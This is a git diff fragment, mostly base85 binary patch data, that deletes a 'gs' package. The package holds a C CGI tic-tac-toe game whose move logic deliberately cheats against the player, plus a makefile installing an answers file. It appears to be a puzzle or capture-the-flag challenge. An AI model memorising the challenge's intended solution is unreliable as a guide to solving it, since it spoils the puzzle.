z%^0URZJ^TqIAW0yUMdJxUyWd6Q9v~4ozMS(60_4EUf7-mFEcg8Y~{}(z|J0*tlSg~ ztxRfq@}QqNA)$KIUnwf~uJLWfw2BUDLG&qkizd(IAGcb!WT!TuH;?0O^pKg*p8fAG z0>93npDw*`zZOzD{W8HRc{uH>e9uuiDWa;}8DfA>W0p`)bq(ayc-9YAQXxa#eA3U^ zw!*x2qTOK)^Q6K&=pGHH+Z&k%p_d&mn)2$TA5az(Yz$FRTSZ#9dh$b!v{>aNA3r6^ ztZos|X+Y;NDUj`6tuwq(EqL^N*Q*|d>+auU#T-MDTfo)Q>AKOecTaDlo*x%`#Az?p^q2hoqr~OhY%u$M^ z-UsWxx$WHSC0#YfLsb-%fai4+p!Zv3Vz57)HfmQASY6-+rxmKw)EoK!aC4lD`R+6r zj|AW&+@?@c$sCwkZ4Ledy$WYNan=2oZ+F9<`o@uZbpB$}5l)-hTiax-UZ&D|edi%V@DthQP);}hiRQs?V#Gea=~0wPZ;j%4s9$mf&6Lt zrlOTnej^j83*(Nn*w9KIm*&pMph_CcRyoh55l)BOa-uqdBZEqq_?XQ8vV|3P%fSu$ zzXRHEVxB*YSiujsTUA>hQwH*LOE2RE*-IOJO;Zrjofpjskz5;dtUUF&ynS82#Kx2L zG-AmcFpz)xTtPedYtvBb3E0FyH~UW-uQn(UW9C)v=-c4)pDt1H-}Z@L9tOkQ?k~n+ z{fjQqIe~nB$jNIh%!)1h^NV3ke$e|PgD7+@LK~$K!xYr_qcSn*4ngyzN29I z1PHqJ!B0DgW;#G{#nf%FVA&>sO+@0MHkZ3E9$&8et}SP8X{+54Jjv>7wp1Q@P@90n-5 z^CYeG!e&Da1R@o9A$<1F{Bgb}=?*t1sZ~}$Bltq2xdAW@_$A>WCU_rEzX*=5= z(i*D&X>~EAMWCz0i$V8_KAd--(eEljo_LGbfe3 z=H+~Pg{mYskjF(EEZtK5{QT}231%k?yBXGF*S^{rfnY;~Yu9Pe-HBR;#Dni50MvE* zY!p=UIVU_E;`tingwAU6h(`JM9rpnd{JX$2!Vu=_$OU+qqsiv~Gw(o=TKv&?{c}yk zC^x_5ft!k5Z30(Q0xEdlDvl64bo1MvE010?-V4w_5>=^v1*rzCHx@p1rN@802C~Tl zFz&ymJH;;~a24PAZ-tcNP!-4K?49MtB;Z=vHZ*xDNNGNg<*pnH#|n0SITf$cT=I(r z4qq-D0{{UqBQedF^>=#UtoA&`lG=MbZkAWf9gQ6*w<+_gpA%&o2}moIHa<)^ubl-F z(S8A>;ulEMi}4@%3Do|TCDO!IROhjMKxx2$bglf5EWRlYnAC3hybwLGmK*>eeg^3_ z_1>*d>{8-lBZ~?TZp%2cm!q8nWc1VY!MmhOYGKN4`9Hg&(O|K$adGa=7w-a(u;jtp z<98AxM{3Os+LKLDdNu|!&IuCNl|8_J>>U1Agp?8~Sm{7l93Jy#A{P^P2z>6{HZ}O5 I=k((L0C}8{1^@s6 diff --git a/packages/gs/generalstatics.com/ttt.cgi.c b/packages/gs/generalstatics.com/ttt.cgi.c deleted file mode 100644 index f902fcc..0000000 --- a/packages/gs/generalstatics.com/ttt.cgi.c +++ /dev/null @@ -1,198 +0,0 @@ -#include -#include -#include -#include "cgi.h" - -const char *b64_aleph = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@"; - -typedef int board_t[3][3]; - -void -b64_of_board(char *out, board_t board) -{ - int y, x; - - for (y = 0; y < 3; y += 1) { - int acc = 0; - - for (x = 0; x < 3; x += 1) { - acc <<= 2; - acc += board[y][x]; - } - out[y] = b64_aleph[acc]; - } -} - -void -board_of_b64(board_t out, char *b64) -{ - int y, x; - - for (y = 0; y < 3; y += 1) { - char *p = strchr(b64_aleph, b64[y]); - int acc = 0; - - if (p) { - acc = p - b64_aleph; - } - - for (x = 2; x >= 0; x -= 1) { - out[y][x] = acc & 3; - acc >>= 2; - } - } -} - -void -print_board(board_t board) -{ - int y, x; - - for (y = 0; y < 3; y += 1) { - for (x = 0; x < 3; x += 1) { - printf("%d", board[y][x]); - } - printf("\n"); - } -} - -int -winner(board_t board) -{ - int i, j, k; - - for (i = 0; i < 3; i += 1) { - for (k = 0; k < 3; k += 1) { - int winner = -1; - - for (j = 0; j < 3; j += 1) { - int b; - - switch (k) { - case 0: - b = board[i][j]; - break; - case 1: - b = board[j][i]; - break; - case 2: - /* This will happen 3× as often as it needs to. Who cares. */ - b = board[j][j]; - break; - } - - if (winner == -1) { - winner = b; - } else if (winner != b) { - winner = -1; - break; - } - } - if (winner > 0) { - return winner; - } - } - } - - return 0; -} - -void -claim(board_t board, int x, int y, int whom) -{ - int prev = board[x][y]; - int i; - - if (prev == whom) { - return; - } - - for (i = 0; i < 9; i += 1) { - if (! board[i/3][i%3]) { - board[i/3][i%3] = prev; - break; - } - } - - board[x][y] = whom; -} - -void -make_move(board_t board) -{ - switch (winner(board)) { - case 1: - printf("A WINNER IS YOU\n"); - exit(0); - case 2: - /* I win; we can keep playing though, because I (neale) - don't want to write any more code to handle this. */ - break; - case 3: - printf("A WINNER IS WHO?\n"); - exit(1); - } - - /* Reserve our final space */ - claim(board, 2, 2, 0); - - /* First move */ - if (board[1][1] != 2) { - claim(board, 1, 1, 2); - return; - } - - /* Second move */ - if (board[0][0] != 2) { - - /* Prevent them from winning legally */ - if (board[0][2]) { - claim(board, 1, 2, 0); - } - if (board[2][0]) { - claim(board, 2, 1, 0); - } - claim(board, 0, 0, 2); - return; - } - - /* Third move */ - claim(board, 2, 2, 2); -} - - -int -main(int argc, char *argv[]) -{ - char b64[4] = {0}; - board_t board = {0}; - - if (-1 == cgi_init(argv)) { - return 0; - } - - while (1) { - size_t len; - char key[20]; - - len = cgi_item(key, sizeof key); - if (0 == len) break; - switch (key[0]) { - case 'b': - cgi_item(b64, sizeof b64); - break; - default: - cgi_item(key, 0); - break; - } - } - - printf("Content-type: text/plain\r\n\r\n"); - board_of_b64(board, b64); - make_move(board); - b64_of_board(b64, board); - fwrite(b64, 1, 3, stdout); - - return 0; -} - diff --git a/packages/gs/gs.mk b/packages/gs/gs.mk deleted file mode 100644 index 17901d6..0000000 --- a/packages/gs/gs.mk +++ /dev/null @@ -1,8 +0,0 @@ -GS_PKGDIR = $(TARGET)/gs - -gs-install: - mkdir -p $(GS_PKGDIR) - cp packages/gs/answers.txt $(GS_PKGDIR) - -PACKAGES += gs - diff --git a/packages/gs/p2.xcf b/packages/gs/p2.xcf deleted file mode 100644 index 7c5a9c719d13a1448f77aadeb8c71ceb5e664d67..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 66939 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 